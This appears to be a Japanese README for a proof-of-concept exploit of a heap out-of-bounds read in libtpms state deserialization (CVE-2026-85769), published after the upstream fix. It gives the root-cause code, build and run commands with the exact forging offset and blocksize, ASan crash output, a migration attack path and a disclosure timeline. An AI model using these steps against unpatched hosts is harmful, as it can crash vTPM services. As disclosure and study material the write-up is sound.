
CVE-2026-85769の概念実証エクスプロイト。libtpms TPM 2.0状態逆シリアル化におけるヒープ領域外読み取りであり、細工された状態ブロブによるサービス拒否を実証する。
libtpms TPM 2.0 揮発性状態デシリアライゼーションにおけるヒープ領域外読み取り。
block_skip_read() 内の無制限のオプショナルブロックスキップが、攻撃者が制御する16ビット長だけアンマーシャルカーソルを進め、符号付き残サイズカウンタを負にします。その後のすべてのダウンストリーム境界チェックは、その符号付き値を符号なしにキャストするため、すべて通過します。偽造され、自己チェックサム付きの揮発性状態ブロブが TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) を通じて供給されると、ヒープ領域外読み取りが発生し、libtpms をホストするプロセス — vTPM デプロイメントにおける swtpm — が異常終了します。
| CVE | CVE-2026-85769 |
| コンポーネント | src/tpm2/NVMarshal.c, src/tpm2/Unmarshal.c |
| CWE | CWE-125 ← CWE-191 (整数アンダーフロー) + CWE-195 (符号付きから符号なしへの変換) |
| 影響を受けるバージョン | master f7f072b2、v0.10.2 03ff2481、およびこのコードを含むそれ以前のリリース |
| 修正バージョン | 9e1475ff — "tpm2: Add checks for *size < 0 before casting it to UINT32" (PR #613) |
| CVSS 3.1 | AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 6.5 (Red Hat、Moderate) |
| 報告日 | 2026-09-01、メンテナに非公開で報告 |
block_skip_read() は、残りバイト数に対する長さのチェックを行わずにパースカーソルを進めることで、オプショナルなバージョン付きブロックをスキップします:
} else if (has_block && !needs_block) {
/* byte stream has the data but we don't need them */
*buffer += blocksize; /* blocksize is a UINT16 from the blob */
*size -= blocksize; /* *size is INT32 — goes negative */
*skip_code = TRUE;
}
*size は符号付きです。負になると、すべてのスカラー読み取りの前にあるガードが機能しなくなります:
if ((UINT32)*size < sizeof(UINT16)) { return TPM_RC_INSUFFICIENT; }
(UINT32)(-8000) = 0xFFFFE0C0 = 4294959296
4294959296 < 2 -> false /* guard passes */
パースが割り当て領域を越えて進むほど、*size はより負になり — 符号なしとして見た場合により大きくなります。同じファイルには、符号付きで比較する正しい形式がすでに Array_Unmarshal に存在します。
唯一の整合性ゲートは、ブロブに追加される鍵なしの SHA-1 (src/tpm2/Volatile.c) であり、PoC は改ざん後にこれを再計算します。
TPMLIB_SetState(TPMLIB_STATE_VOLATILE, …) および電源投入時復元チェーン TPMLIB_MainInit → _TPM_Init → VolatileLoad を通じて到達します。
swtpm デプロイメントでは、関連するパスはライブマイグレーション — libvirt によって駆動される CMD_GET_STATEBLOB / CMD_SET_STATEBLOB です。宛先ホストは、送信元ホストで生成された状態ブロブをパースします。設定された --migration-key はこれを緩和しません: 鍵は両ホスト間で共有されるため、侵害された送信元は鍵を保持し、正しく復号されるブロブを生成できます。これは、介在する第三者に対する防御であり、悪意のあるピアに対する防御ではありません。
git clone https://github.com/stefanberger/libtpms
cd libtpms
git checkout 03ff2481e133540be3b3ffe3daa1483d2a73d967 # v0.10.2、または修正前の master の場合は ba73ab17
./autogen.sh --with-tpm1 --with-tpm2 --with-openssl \
CFLAGS='-fsanitize=address -fno-omit-frame-pointer -g -O1' \
LDFLAGS='-fsanitize=address'
make -j4
gcc -o poc_f3 poc_f3.c -I include -L src/.libs -Wl,-rpath,src/.libs -ltpms -lcrypto
export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
# 1. 公開 API を通じて正規の状態ペアをダンプする
./poc_f3 gen perm.bin vol.bin
# 2. オフセット 173 で ORDERLY_DATA トレーラを偽造し、割り当ての 8 バイト先に到達させる
./poc_f3 test perm.bin vol.bin 173 8610
# 対照: ブロブを変更せずに読み込み、rc=0 を期待
./poc_f3 test perm.bin vol.bin -1 0
8610 は、カーソルがワイルドポインタではなく ASan のレッドゾーンに着地するようにサイズ設定されています:
blocksize = (len − off − 3) + 8 = (8778 − 173 − 3) + 8 = 8610
オフセット 173 は、ORDERLY_DATA の skip_future_versions トレーラの has_block バイトです。これは、バイト数を数えるのではなく、パース中にオフセットを出力するように block_skip_read() を計装して特定されました — オフセットは状態形式によって変化するため、ブロブの長さが 8778 と異なる場合は再導出してください。
skip_self_heal_timer は使用可能なトレーラではないことに注意してください: TpmBuildSwitches.h の ACCUMULATE_SELF_HEAL_TIMER YES は、それが needs_block = TRUE で出力され、安全な分岐を取ることを意味します。
==1905==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x525000007352
READ of size 1 at 0x525000007352 thread T0
#0 in UINT16_Unmarshal tpm2/Unmarshal.c:71
#1 in NV_HEADER_UnmarshalVerbose tpm2/NVMarshal.c:419
#2 in NV_HEADER_Unmarshal tpm2/NVMarshal.c:453
#3 in STATE_CLEAR_DATA_Unmarshal tpm2/NVMarshal.c:1302
#4 in VolatileState_Unmarshal tpm2/NVMarshal.c:3431
#5 in VolatileState_Load tpm2/Volatile.c:81
#6 in TPM2_SetState src/tpm_tpm2_interface.c:820
#7 in TPMLIB_SetState src/tpm_library.c:222
0x525000007352 is located 8 bytes after 8778-byte region [0x525000005100,0x52500000734a)
障害は block_skip_read ではなく UINT16_Unmarshal で発生します — スキップはカーソルを進めて読み取りなしで戻ります。破損は次の構造体読み取り時に発生します。
修正済みコミットに対しては、すべての攻撃ケースが ASan レポートなしで TPM_RC_INSUFFICIENT (0x9a) を返し、正規のブロブは依然として rc=0 で復元されます。
libtpms をホストするプロセスのサービス拒否、および未定義の動作。
情報漏洩はテストされ、否定されました。非 ASan ビルドでの小さなオーバーシュートは、毎回 TPM_RC_BAD_TAG (0x1e) を返します:
libtpms/tpm2: NV_HEADER_UnmarshalVerbose: Invalid magic. Expected 0x98897667, got 0x00000000
オーバーシュート直後の読み取りは NV_HEADER であり、その32ビットマジックは固定定数と一致する必要があります。隣接するヒープがこれを満たす確率は p ≈ 2⁻³² です。パースは中止され、ClearAllCachedState() がすべてを破棄し、領域外バイトが TPMLIB_GetState に到達することはありません。したがって、機密性は C:N です。Red Hat のレビューも独立して同じ結論に達しました。
Isuka Sanuj — CyberCrew Inc. (株式会社CyberCrew)
Leyao (ICT CAS) によって独立に報告され、同じ CVE でクレジットされています。
この PoC は、問題がアップストリームで修正され CVE が割り当てられた後に公開されています。これはオープンソースライブラリのローカルビルドを対象としており、パースをトリガーする以外のことは何もしません。テストが許可されているもののみをテストしてください。
MIT
| 日付 |
|---|
| 2026-09-01 | libtpms メンテナに非公開で報告 |
| 2026-09-04 | 同じ根本原因が Leyao (ICT CAS) によって libtpms イシュー #614 として公開かつ独立に報告 |
| 2026-09-04 | アップストリームで 9e1475ff (PR #613) により修正; この PoC に対して修正を検証 |
| 2026-09-04 | Red Hat Product Security に報告 |
| 2026-09-04 | CVE-2026-85769 が割り当てられる |